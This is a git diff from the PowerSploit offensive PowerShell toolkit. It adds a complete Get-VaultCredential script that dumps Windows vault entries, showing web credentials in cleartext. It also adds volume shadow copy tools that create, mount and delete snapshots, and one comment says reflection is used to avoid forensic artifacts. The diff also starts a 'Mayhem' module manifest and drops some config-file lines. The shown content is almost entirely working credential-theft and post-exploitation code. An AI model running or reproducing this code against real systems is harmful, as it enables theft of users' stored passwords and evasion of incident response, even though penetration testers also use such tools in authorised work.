aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--.gitattributes63
-rw-r--r--.gitignore2
-rw-r--r--Exfiltration/Get-VaultCredential.ps1401
-rw-r--r--Exfiltration/VolumeShadowCopyTools.ps1292
-rw-r--r--Mayhem/Mayhem.psd187
-rw-r--r--Mayhem/Mayhem.psm1366
-rw-r--r--Recon/Get-ComputerDetails.ps1580
7 files changed, 1726 insertions, 65 deletions
diff --git a/.gitattributes b/.gitattributes
deleted file mode 100644
index 1ff0c42..0000000
--- a/.gitattributes
+++ /dev/null
@@ -1,63 +0,0 @@
-###############################################################################
-# Set default behavior to automatically normalize line endings.
-###############################################################################
-* text=auto
-
-###############################################################################
-# Set default behavior for command prompt diff.
-#
-# This is need for earlier builds of msysgit that does not have it on by
-# default for csharp files.
-# Note: This is only used by command line
-###############################################################################
-#*.cs diff=csharp
-
-###############################################################################
-# Set the merge driver for project and solution files
-#
-# Merging from the command prompt will add diff markers to the files if there
-# are conflicts (Merging from VS is not affected by the settings below, in VS
-# the diff markers are never inserted). Diff markers may cause the following
-# file extensions to fail to load in VS. An alternative would be to treat
-# these files as binary and thus will always conflict and require user
-# intervention with every merge. To do so, just uncomment the entries below
-###############################################################################
-#*.sln merge=binary
-#*.csproj merge=binary
-#*.vbproj merge=binary
-#*.vcxproj merge=binary
-#*.vcproj merge=binary
-#*.dbproj merge=binary
-#*.fsproj merge=binary
-#*.lsproj merge=binary
-#*.wixproj merge=binary
-#*.modelproj merge=binary
-#*.sqlproj merge=binary
-#*.wwaproj merge=binary
-
-###############################################################################
-# behavior for image files
-#
-# image files are treated as binary by default.
-###############################################################################
-#*.jpg binary
-#*.png binary
-#*.gif binary
-
-###############################################################################
-# diff behavior for common document formats
-#
-# Convert binary document formats to text before diffing them. This feature
-# is only available from the command line. Turn it on by uncommenting the
-# entries below.
-###############################################################################
-#*.doc diff=astextplain
-#*.DOC diff=astextplain
-#*.docx diff=astextplain
-#*.DOCX diff=astextplain
-#*.dot diff=astextplain
-#*.DOT diff=astextplain
-#*.pdf diff=astextplain
-#*.PDF diff=astextplain
-#*.rtf diff=astextplain
-#*.RTF diff=astextplain
diff --git a/.gitignore b/.gitignore
index 071cc43..e15a72d 100644
--- a/.gitignore
+++ b/.gitignore
@@ -212,5 +212,3 @@ pip-log.txt
#Mr Developer
.mr.developer.cfg
-*.pssproj
-*.sln
diff --git a/Exfiltration/Get-VaultCredential.ps1 b/Exfiltration/Get-VaultCredential.ps1
index e69de29..c830fa2 100644
--- a/Exfiltration/Get-VaultCredential.ps1
+++ b/Exfiltration/Get-VaultCredential.ps1
@@ -0,0 +1,401 @@
+function Get-VaultCredential
+{
+<#
+.SYNOPSIS
+
+Displays Windows vault credential objects including cleartext web credentials.
+
+PowerSploit Function: Get-VaultCredential
+Author: Matthew Graeber (@mattifestation)
+License: BSD 3-Clause
+Required Dependencies: None
+Optional Dependencies: None
+
+.DESCRIPTION
+
+Get-VaultCredential enumerates and displays all credentials stored in the Windows
+vault. Web credentials, specifically are displayed in cleartext. This script was
+inspired by the following C implementation: http://www.oxid.it/downloads/vaultdump.txt
+
+.EXAMPLE
+
+Get-VaultCredential
+
+.NOTES
+
+Only web credentials can be displayed in cleartext.
+#>
+ [CmdletBinding()] Param()
+
+ $OSVersion = [Environment]::OSVersion.Version
+ $OSMajor = $OSVersion.Major
+ $OSMinor = $OSVersion.Minor
+
+ #region P/Invoke declarations for vaultcli.dll
+ $DynAssembly = New-Object System.Reflection.AssemblyName('VaultUtil')
+ $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VaultUtil', $False)
+
+ $EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_ELEMENT_TYPE', 'Public', [Int32])
+ $null = $EnumBuilder.DefineLiteral('Undefined', -1)
+ $null = $EnumBuilder.DefineLiteral('Boolean', 0)
+ $null = $EnumBuilder.DefineLiteral('Short', 1)
+ $null = $EnumBuilder.DefineLiteral('UnsignedShort', 2)
+ $null = $EnumBuilder.DefineLiteral('Int', 3)
+ $null = $EnumBuilder.DefineLiteral('UnsignedInt', 4)
+ $null = $EnumBuilder.DefineLiteral('Double', 5)
+ $null = $EnumBuilder.DefineLiteral('Guid', 6)
+ $null = $EnumBuilder.DefineLiteral('String', 7)
+ $null = $EnumBuilder.DefineLiteral('ByteArray', 8)
+ $null = $EnumBuilder.DefineLiteral('TimeStamp', 9)
+ $null = $EnumBuilder.DefineLiteral('ProtectedArray', 10)
+ $null = $EnumBuilder.DefineLiteral('Attribute', 11)
+ $null = $EnumBuilder.DefineLiteral('Sid', 12)
+ $null = $EnumBuilder.DefineLiteral('Last', 13)
+ $VAULT_ELEMENT_TYPE = $EnumBuilder.CreateType()
+
+ $EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_SCHEMA_ELEMENT_ID', 'Public', [Int32])
+ $null = $EnumBuilder.DefineLiteral('Illegal', 0)
+ $null = $EnumBuilder.DefineLiteral('Resource', 1)
+ $null = $EnumBuilder.DefineLiteral('Identity', 2)
+ $null = $EnumBuilder.DefineLiteral('Authenticator', 3)
+ $null = $EnumBuilder.DefineLiteral('Tag', 4)
+ $null = $EnumBuilder.DefineLiteral('PackageSid', 5)
+ $null = $EnumBuilder.DefineLiteral('AppStart', 100)
+ $null = $EnumBuilder.DefineLiteral('AppEnd', 10000)
+ $VAULT_SCHEMA_ELEMENT_ID = $EnumBuilder.CreateType()
+
+ $LayoutConstructor = [Runtime.InteropServices.StructLayoutAttribute].GetConstructor([Runtime.InteropServices.LayoutKind])
+ $CharsetField = [Runtime.InteropServices.StructLayoutAttribute].GetField('CharSet')
+ $StructLayoutCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($LayoutConstructor,
+ @([Runtime.InteropServices.LayoutKind]::Explicit),
+ $CharsetField,
+ @([Runtime.InteropServices.CharSet]::Ansi))
+ $StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
+
+ $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM', $StructAttributes, [Object], [System.Reflection.Emit.PackingSize]::Size4)
+ $null = $TypeBuilder.DefineField('SchemaId', [Guid], 'Public')
+ $null = $TypeBuilder.DefineField('pszCredentialFriendlyName', [IntPtr], 'Public')
+ $null = $TypeBuilder.DefineField('pResourceElement', [IntPtr], 'Public')
+ $null = $TypeBuilder.DefineField('pIdentityElement', [IntPtr], 'Public')
+ $null = $TypeBuilder.DefineField('pAuthenticatorElement', [IntPtr], 'Public')
+ if ($OSMajor -ge 6 -and $OSMinor -ge 2)
+ {
+ $null = $TypeBuilder.DefineField('pPackageSid', [IntPtr], 'Public')
+ }
+ $null = $TypeBuilder.DefineField('LastModified', [UInt64], 'Public')
+ $null = $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public')
+ $null = $TypeBuilder.DefineField('dwPropertiesCount', [UInt32], 'Public')
+ $null = $TypeBuilder.DefineField('pPropertyElements', [IntPtr], 'Public')
+ $VAULT_ITEM = $TypeBuilder.CreateType()
+
+ $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM_ELEMENT', $StructAttributes)
+ $TypeBuilder.SetCustomAttribute($StructLayoutCustomAttribute)
+ $null = $TypeBuilder.DefineField('SchemaElementId', $VAULT_SCHEMA_ELEMENT_ID, 'Public').SetOffset(0)
+ $null = $TypeBuilder.DefineField('Type', $VAULT_ELEMENT_TYPE, 'Public').SetOffset(8)
+ $VAULT_ITEM_ELEMENT = $TypeBuilder.CreateType()
+
+
+ $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.Vaultcli', 'Public, Class')
+ $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultOpenVault',
+ 'vaultcli.dll',
+ 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [Int32],
+ [Type[]] @([Guid].MakeByRefType(),
+ [UInt32],
+ [IntPtr].MakeByRefType()),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Auto)
+
+ $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultCloseVault',
+ 'vaultcli.dll',
+ 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [Int32],
+ [Type[]] @([IntPtr].MakeByRefType()),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Auto)
+
+ $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultFree',
+ 'vaultcli.dll',
+ 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [Int32],
+ [Type[]] @([IntPtr]),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Auto)
+
+ $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateVaults',
+ 'vaultcli.dll',
+ 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [Int32],
+ [Type[]] @([Int32],
+ [Int32].MakeByRefType(),
+ [IntPtr].MakeByRefType()),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Auto)
+
+ $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateItems',
+ 'vaultcli.dll',
+ 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [Int32],
+ [Type[]] @([IntPtr],
+ [Int32],
+ [Int32].MakeByRefType(),
+ [IntPtr].MakeByRefType()),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Auto)
+
+ if ($OSMajor -ge 6 -and $OSMinor -ge 2)
+ {
+ $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem',
+ 'vaultcli.dll',
+ 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [Int32],
+ [Type[]] @([IntPtr],
+ [Guid].MakeByRefType(),
+ [IntPtr],
+ [IntPtr],
+ [IntPtr],
+ [IntPtr],
+ [Int32],
+ [IntPtr].MakeByRefType()),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Auto)
+ }
+ else
+ {
+ $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem',
+ 'vaultcli.dll',
+ 'Public, Static',
+ [Reflection.CallingConventions]::Standard,
+ [Int32],
+ [Type[]] @([IntPtr],
+ [Guid].MakeByRefType(),
+ [IntPtr],
+ [IntPtr],
+ [IntPtr],
+ [Int32],
+ [IntPtr].MakeByRefType()),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Auto)
+ }
+
+ $Vaultcli = $TypeBuilder.CreateType()
+ #endregion
+
+ # Helper function to extract the ItemValue field from a VAULT_ITEM_ELEMENT struct.
+ function local:Get-VaultElementValue
+ {
+ Param (
+ [ValidateScript({$_ -ne [IntPtr]::Zero})]
+ [IntPtr]
+ $VaultElementPtr
+ )
+
+ $PartialElement = [Runtime.InteropServices.Marshal]::PtrToStructure($VaultElementPtr, [Type] $VAULT_ITEM_ELEMENT)
+ $ElementPtr = [IntPtr] ($VaultElementPtr.ToInt64() + 16)
+
+ switch ($PartialElement.Type)
+ {
+ $VAULT_ELEMENT_TYPE::String {
+ $StringPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr)
+ [Runtime.InteropServices.Marshal]::PtrToStringUni([IntPtr] $StringPtr)
+ }
+
+ $VAULT_ELEMENT_TYPE::Boolean {
+ [Bool] [Runtime.InteropServices.Marshal]::ReadByte([IntPtr] $ElementPtr)
+ }
+
+ $VAULT_ELEMENT_TYPE::Short {
+ [Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr)
+ }
+
+ $VAULT_ELEMENT_TYPE::UnsignedShort {
+ [Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr)
+ }
+
+ $VAULT_ELEMENT_TYPE::Int {
+ [Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr)
+ }
+
+ $VAULT_ELEMENT_TYPE::UnsignedInt {
+ [Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr)
+ }
+
+ $VAULT_ELEMENT_TYPE::Double {
+ [Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Double])
+ }
+
+ $VAULT_ELEMENT_TYPE::Guid {
+ [Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Guid])
+ }
+
+ $VAULT_ELEMENT_TYPE::Sid {
+ $SidPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr)
+ Write-Verbose "0x$($SidPtr.ToString('X8'))"
+ $SidObject = [Security.Principal.SecurityIdentifier] ([IntPtr] $SidPtr)
+ $SidObject.Value
+ }
+
+ # These elements are currently unimplemented.
+ # I have yet to see these used in practice.
+ $VAULT_ELEMENT_TYPE::ByteArray { $null }
+ $VAULT_ELEMENT_TYPE::TimeStamp { $null }
+ $VAULT_ELEMENT_TYPE::ProtectedArray { $null }
+ $VAULT_ELEMENT_TYPE::Attribute { $null }
+ $VAULT_ELEMENT_TYPE::Last { $null }
+ }
+ }
+
+ $VaultCount = 0
+ $VaultGuidPtr = [IntPtr]::Zero
+ $Result = $Vaultcli::VaultEnumerateVaults(0, [Ref] $VaultCount, [Ref] $VaultGuidPtr)
+
+ if ($Result -ne 0)
+ {
+ throw "Unable to enumerate vaults. Error (0x$($Result.ToString('X8')))"
+ }
+
+ $GuidAddress = $VaultGuidPtr
+
+ $VaultSchema = @{
+ ([Guid] '2F1A6504-0641-44CF-8BB5-3612D865F2E5') = 'Windows Secure Note'
+ ([Guid] '3CCD5499-87A8-4B10-A215-608888DD3B55') = 'Windows Web Password Credential'
+ ([Guid] '154E23D0-C644-4E6F-8CE6-5069272F999F') = 'Windows Credential Picker Protector'
+ ([Guid] '4BF4C442-9B8A-41A0-B380-DD4A704DDB28') = 'Web Credentials'
+ ([Guid] '77BC582B-F0A6-4E15-4E80-61736B6F3B29') = 'Windows Credentials'
+ ([Guid] 'E69D7838-91B5-4FC9-89D5-230D4D4CC2BC') = 'Windows Domain Certificate Credential'
+ ([Guid] '3E0E35BE-1B77-43E7-B873-AED901B6275B') = 'Windows Domain Password Credential'
+ ([Guid] '3C886FF3-2669-4AA2-A8FB-3F6759A77548') = 'Windows Extended Credential'
+ ([Guid] '00000000-0000-0000-0000-000000000000') = $null
+ }
+
+ if ($VaultCount)
+ {
+ foreach ($i in 1..$VaultCount)
+ {
+ $VaultGuid = [Runtime.InteropServices.Marshal]::PtrToStructure($GuidAddress, [Type] [Guid])
+ $GuidAddress = [IntPtr] ($GuidAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] [Guid]))
+
+ $VaultHandle = [IntPtr]::Zero
+
+ Write-Verbose "Opening vault - $($VaultSchema[$VaultGuid]) ($($VaultGuid))"
+
+ $Result = $Vaultcli::VaultOpenVault([Ref] $VaultGuid, 0, [Ref] $VaultHandle)
+
+ if ($Result -ne 0)
+ {
+ Write-Error "Unable to open the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))"
+ continue
+ }
+
+ $VaultItemCount = 0
+ $VaultItemPtr = [IntPtr]::Zero
+
+ $Result = $Vaultcli::VaultEnumerateItems($VaultHandle, 512, [Ref] $VaultItemCount, [Ref] $VaultItemPtr)
+
+ if ($Result -ne 0)
+ {
+ $null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle)
+ Write-Error "Unable to enumerate vault items from the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))"
+ continue
+ }
+
+ $StructAddress = $VaultItemPtr
+
+ if ($VaultItemCount)
+ {
+ foreach ($j in 1..$VaultItemCount)
+ {
+ $CurrentItem = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $VAULT_ITEM)
+ $StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] $VAULT_ITEM))
+
+ $PasswordVaultItem = [IntPtr]::Zero
+
+ if ($OSMajor -ge 6 -and $OSMinor -ge 2)
+ {
+ $Result = $Vaultcli::VaultGetItem($VaultHandle,
+ [Ref] $CurrentItem.SchemaId,
+ $CurrentItem.pResourceElement,
+ $CurrentItem.pIdentityElement,
+ $CurrentItem.pPackageSid,
+ [IntPtr]::Zero,
+ 0,
+ [Ref] $PasswordVaultItem)
+ }
+ else
+ {
+ $Result = $Vaultcli::VaultGetItem($VaultHandle,
+ [Ref] $CurrentItem.SchemaId,
+ $CurrentItem.pResourceElement,
+ $CurrentItem.pIdentityElement,
+ [IntPtr]::Zero,
+ 0,
+ [Ref] $PasswordVaultItem)
+ }
+
+ $PasswordItem = $null
+
+ if ($Result -ne 0)
+ {
+ Write-Error "Error occured retrieving vault item. Error (0x$($Result.ToString('X8')))"
+ continue
+ }
+ else
+ {
+ $PasswordItem = [Runtime.InteropServices.Marshal]::PtrToStructure($PasswordVaultItem, [Type] $VAULT_ITEM)
+ }
+
+ if ($VaultSchema.ContainsKey($VaultGuid))
+ {
+ $VaultType = $VaultSchema[$VaultGuid]
+ }
+ else
+ {
+ $VaultType = $VaultGuid
+ }
+
+ if ($PasswordItem.pAuthenticatorElement -ne [IntPtr]::Zero)
+ {
+ $Credential = Get-VaultElementValue $PasswordItem.pAuthenticatorElement
+ }
+ else
+ {
+ $Credential = $null
+ }
+
+ $PackageSid = $null
+
+ if ($CurrentItem.pPackageSid -and ($CurrentItem.pPackageSid -ne [IntPtr]::Zero))
+ {
+ $PackageSid = Get-VaultElementValue $CurrentItem.pPackageSid
+ }
+
+
+ $Properties = @{
+ Vault = $VaultType
+ Resource = if ($CurrentItem.pResourceElement) { Get-VaultElementValue $CurrentItem.pResourceElement } else { $null }
+ Identity = if ($CurrentItem.pIdentityElement) { Get-VaultElementValue $CurrentItem.pIdentityElement } else { $null }
+ PackageSid = $PackageSid
+ Credential = $Credential
+ LastModified = [DateTime]::FromFileTimeUtc($CurrentItem.LastModified)
+ }
+
+ $VaultItem = New-Object PSObject -Property $Properties
+ $VaultItem.PSObject.TypeNames[0] = 'VAULTCLI.VAULTITEM'
+
+ $VaultItem
+
+ $null = $Vaultcli::VaultFree($PasswordVaultItem)
+ }
+ }
+
+ $null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle)
+ }
+ }
+} \ No newline at end of file
diff --git a/Exfiltration/VolumeShadowCopyTools.ps1 b/Exfiltration/VolumeShadowCopyTools.ps1
index e69de29..49fe22d 100644
--- a/Exfiltration/VolumeShadowCopyTools.ps1
+++ b/Exfiltration/VolumeShadowCopyTools.ps1
@@ -0,0 +1,292 @@
+function Get-VolumeShadowCopy
+{
+<#
+.SYNOPSIS
+
+ Lists the device paths of all local volume shadow copies.
+
+ PowerSploit Function: Get-VolumeShadowCopy
+ Author: Matthew Graeber (@mattifestation)
+ License: BSD 3-Clause
+ Required Dependencies: None
+ Optional Dependencies: None
+ Version: 2.0.0
+#>
+
+ $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent())
+
+ if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
+ {
+ Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.'
+ }
+
+ Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | ForEach-Object { $_.DeviceObject }
+}
+
+function New-VolumeShadowCopy
+{
+<#
+.SYNOPSIS
+
+ Creates a new volume shadow copy.
+
+ PowerSploit Function: New-VolumeShadowCopy
+ Author: Jared Atkinson (@jaredcatkinson)
+ License: BSD 3-Clause
+ Required Dependencies: None
+ Optional Dependencies: None
+ Version: 2.0.0
+
+.DESCRIPTION
+
+ New-VolumeShadowCopy creates a volume shadow copy for the specified volume.
+
+.PARAMETER Volume
+
+ Volume used for the shadow copy. This volume is sometimes referred to as the original volume.
+ The Volume parameter can be specified as a volume drive letter, mount point, or volume globally unique identifier (GUID) name.
+
+.PARAMETER Context
+
+ Context that the provider uses when creating the shadow. The default is "ClientAccessible".
+
+.EXAMPLE
+
+ New-VolumeShadowCopy -Volume C:\
+
+ Description
+ -----------
+ Creates a new VolumeShadowCopy of the C drive
+#>
+ Param(
+ [Parameter(Mandatory = $True)]
+ [ValidatePattern('^\w:\\')]
+ [String]
+ $Volume,
+
+ [Parameter(Mandatory = $False)]
+ [ValidateSet("ClientAccessible")]
+ [String]
+ $Context = "ClientAccessible"
+ )
+
+ $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent())
+
+ if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
+ {
+ Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.'
+ }
+
+ # Save VSS Service initial state
+ $running = (Get-Service -Name VSS).Status
+
+ $class = [WMICLASS]"root\cimv2:win32_shadowcopy"
+
+ $return = $class.create("$Volume", "$Context")
+
+ switch($return.returnvalue)
+ {
+ 1 {Write-Error "Access denied."; break}
+ 2 {Write-Error "Invalid argument."; break}
+ 3 {Write-Error "Specified volume not found."; break}
+ 4 {Write-Error "Specified volume not supported."; break}
+ 5 {Write-Error "Unsupported shadow copy context."; break}
+ 6 {Write-Error "Insufficient storage."; break}
+ 7 {Write-Error "Volume is in use."; break}
+ 8 {Write-Error "Maximum number of shadow copies reached."; break}
+ 9 {Write-Error "Another shadow copy operation is already in progress."; break}
+ 10 {Write-Error "Shadow copy provider vetoed the operation."; break}
+ 11 {Write-Error "Shadow copy provider not registered."; break}
+ 12 {Write-Error "Shadow copy provider failure."; break}
+ 13 {Write-Error "Unknown error."; break}
+ default {break}
+ }
+
+ # If VSS Service was Stopped at the start, return VSS to "Stopped" state
+ if($running -eq "Stopped")
+ {
+ Stop-Service -Name VSS
+ }
+}
+
+function Remove-VolumeShadowCopy
+{
+<#
+.SYNOPSIS
+
+ Deletes a volume shadow copy.
+
+ PowerSploit Function: Remove-VolumeShadowCopy
+ Author: Jared Atkinson (@jaredcatkinson)
+ License: BSD 3-Clause
+ Required Dependencies: None
+ Optional Dependencies: None
+ Version: 2.0.0
+
+.DESCRIPTION
+
+ Remove-VolumeShadowCopy deletes a volume shadow copy from the system.
+
+.PARAMETER InputObject
+
+ Specifies the Win32_ShadowCopy object to remove
+
+.PARAMETER DevicePath
+
+ Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object.
+
+.EXAMPLE
+
+ Get-VolumeShadowCopy | Remove-VolumeShadowCopy
+
+ Description
+ -----------
+ Removes all volume shadow copy
+
+.EXAMPLE
+
+ Remove-VolumeShadowCopy -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4'
+
+ Description
+ -----------
+ Removes the volume shadow copy at the 'DeviceObject' path \\?\GLOBALROOT\DeviceHarddiskVolumeShadowCopy4
+#>
+ [CmdletBinding(SupportsShouldProcess = $True)]
+ Param(
+ [Parameter(Mandatory = $True, ValueFromPipeline = $True)]
+ [ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')]
+ [String]
+ $DevicePath
+ )
+
+ PROCESS
+ {
+ if($PSCmdlet.ShouldProcess("The VolumeShadowCopy at DevicePath $DevicePath will be removed"))
+ {
+ (Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $DevicePath}).Delete()
+ }
+ }
+}
+
+function Mount-VolumeShadowCopy
+{
+<#
+.SYNOPSIS
+
+ Mounts a volume shadow copy.
+
+ PowerSploit Function: Mount-VolumeShadowCopy
+ Author: Matthew Graeber (@mattifestation)
+ License: BSD 3-Clause
+ Required Dependencies: None
+ Optional Dependencies: None
+ Version: 2.0.0
+
+.DESCRIPTION
+
+ Mount-VolumeShadowCopy mounts a volume shadow copy volume by creating a symbolic link.
+
+.PARAMETER Path
+
+ Specifies the path to which the symbolic link for the mounted volume shadow copy will be saved.
+
+.PARAMETER DevicePath
+
+ Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object.
+
+.EXAMPLE
+
+ Get-VolumeShadowCopy | Mount-VolumeShadowCopy -Path C:\VSS
+
+ Description
+ -----------
+ Create a mount point in 'C:\VSS' for each volume shadow copy volume
+
+.EXAMPLE
+
+ Mount-VolumeShadowCopy -Path C:\VSS -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4'
+
+.EXAMPLE
+
+ Get-WmiObject Win32_ShadowCopy | % { $_.DeviceObject -Path C:\VSS -DevicePath $_ }
+#>
+
+ Param (
+ [Parameter(Mandatory = $True)]
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $Path,
+
+ [Parameter(Mandatory = $True, ValueFromPipeline = $True)]
+ [ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')]
+ [String[]]
+ $DevicePath
+ )
+
+ BEGIN
+ {
+ $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent())
+
+ if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
+ {
+ Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.'
+ }
+
+ # Validate that the path exists before proceeding
+ Get-ChildItem $Path -ErrorAction Stop | Out-Null
+
+ $DynAssembly = New-Object System.Reflection.AssemblyName('VSSUtil')
+ $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VSSUtil', $False)
+
+ # Define [VSS.Kernel32]::CreateSymbolicLink method using reflection
+ # (i.e. none of the forensic artifacts left with using Add-Type)
+ $TypeBuilder = $ModuleBuilder.DefineType('VSS.Kernel32', 'Public, Class')
+ $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateSymbolicLink',
+ 'kernel32.dll',
+ ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
+ [Reflection.CallingConventions]::Standard,
+ [Bool],
+ [Type[]]@([String], [String], [UInt32]),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Auto)
+ $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
+ $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')
+ $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
+ @('kernel32.dll'),
+ [Reflection.FieldInfo[]]@($SetLastError),
+ @($true))
+ $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
+
+ $Kernel32Type = $TypeBuilder.CreateType()
+ }
+
+ PROCESS
+ {
+ foreach ($Volume in $DevicePath)
+ {
+ $Volume -match '^\\\\\?\\GLOBALROOT\\Device\\(?<LinkName>HarddiskVolumeShadowCopy[0-9]{1,3})$' | Out-Null
+
+ $LinkPath = Join-Path $Path $Matches.LinkName
+
+ if (Test-Path $LinkPath)
+ {
+ Write-Warning "'$LinkPath' already exists."
+ continue
+ }
+
+ if (-not $Kernel32Type::CreateSymbolicLink($LinkPath, "$($Volume)\", 1))
+ {
+ Write-Error "Symbolic link creation failed for '$Volume'."
+ continue
+ }
+
+ Get-Item $LinkPath
+ }
+ }
+
+ END
+ {
+
+ }
+} \ No newline at end of file
diff --git a/Mayhem/Mayhem.psd1 b/Mayhem/Mayhem.psd1
index e69de29..82035d8 100644
--- a/Mayhem/Mayhem.psd1
+++ b/Mayhem/Mayhem.psd1
@@ -0,0 +1,87 @@
+@{
+
+# Script module or binary module file associated with this manifest.
+ModuleToProcess = 'Mayhem.psm1'
+
+# Version number of this module.
+ModuleVersion = '1.0.0.0'
+
+# ID used to uniquely identify this module
+GUID = 'e65b93ff-63ba-4c38-97f1-bc4fe5a6651c'
+
+# Author of this module
+Author = 'Matthew Graeber'
+
+# Company or vendor of this module
+CompanyName = ''
+
+# Copyright statement for this module
+Copyright = 'BSD 3-Clause'
+
+# Description of the functionality provided by this module
+Description = 'PowerSploit Mayhem Module'
+
+# Minimum version of the Windows PowerShell engine required by this module
+PowerShellVersion = '2.0'
+
+# Name of the Windows PowerShell host required by this module
+# PowerShellHostName = ''
+
+# Minimum version of the Windows PowerShell host required by this module
+# PowerShellHostVersion = ''
+
+# Minimum version of the .NET Framework required by this module
+# DotNetFrameworkVersion = ''
+
+# Minimum version of the common language runtime (CLR) required by this module
+# CLRVersion = ''
+
+# Processor architecture (None, X86, Amd64) required by this module
+# ProcessorArchitecture = ''
+
+# Modules that must be imported into the global environment prior to importing this module
+# RequiredModules = @()
+
+# Assemblies that must be loaded prior to importing this module
+# RequiredAssemblies = @()
+
+# Script files (.ps1) that are run in the caller's environment prior to importing this module.
+# ScriptsToProcess = ''
+
+# Type files (.ps1xml) to be loaded when importing this module
+# TypesToProcess = @()
+
+# Format files (.ps1xml) to be loaded when importing this module
+# FormatsToProcess = @()
+
+# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
+# NestedModules = @()
+
+# Functions to export from this module
+FunctionsToExport = '*'
+
+# Cmdlets to export from this module
+CmdletsToExport = '*'
+
+# Variables to export from this module
+VariablesToExport = ''
+
+# Aliases to export from this module
+AliasesToExport = ''
+
